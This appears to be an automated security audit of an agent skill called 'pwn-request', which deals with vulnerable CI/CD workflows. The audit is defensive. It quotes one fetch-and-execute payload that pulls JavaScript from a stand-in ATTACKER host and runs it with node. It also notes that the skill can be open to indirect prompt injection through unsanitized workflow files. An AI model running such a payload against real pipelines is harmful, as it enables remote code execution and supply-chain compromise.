pwn-request
Pass
Audited by Gen Agent Trust Hub on Sep 22, 2026
Risk Level: SAFEREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The documentation includes educational examples of malicious payloads, such as
curl -sSfL https://ATTACKER/cacheract.js > /tmp/r.js && node /tmp/r.js, to illustrate how code execution occurs in vulnerable CI/CD pipelines. These are provided as reference templates for security auditing and defense. - [COMMAND_EXECUTION]: The methodology utilizes shell commands like
grepand GitHub CLI (gh search), as well as the security toolgato-x, to scan for misconfigured workflow files and enumerate repository permissions. - [INDIRECT_PROMPT_INJECTION]: Vulnerability surface detected: 1. Ingestion points: Reads contents of
.github/workflows/files (SKILL.md). 2. Boundary markers: None present; content is processed directly. 3. Capability inventory: Executes shell commands (grep,gh,gato-x) and potential network operations. 4. Sanitization: No explicit sanitization or filtering of workflow content is described.
Audit Metadata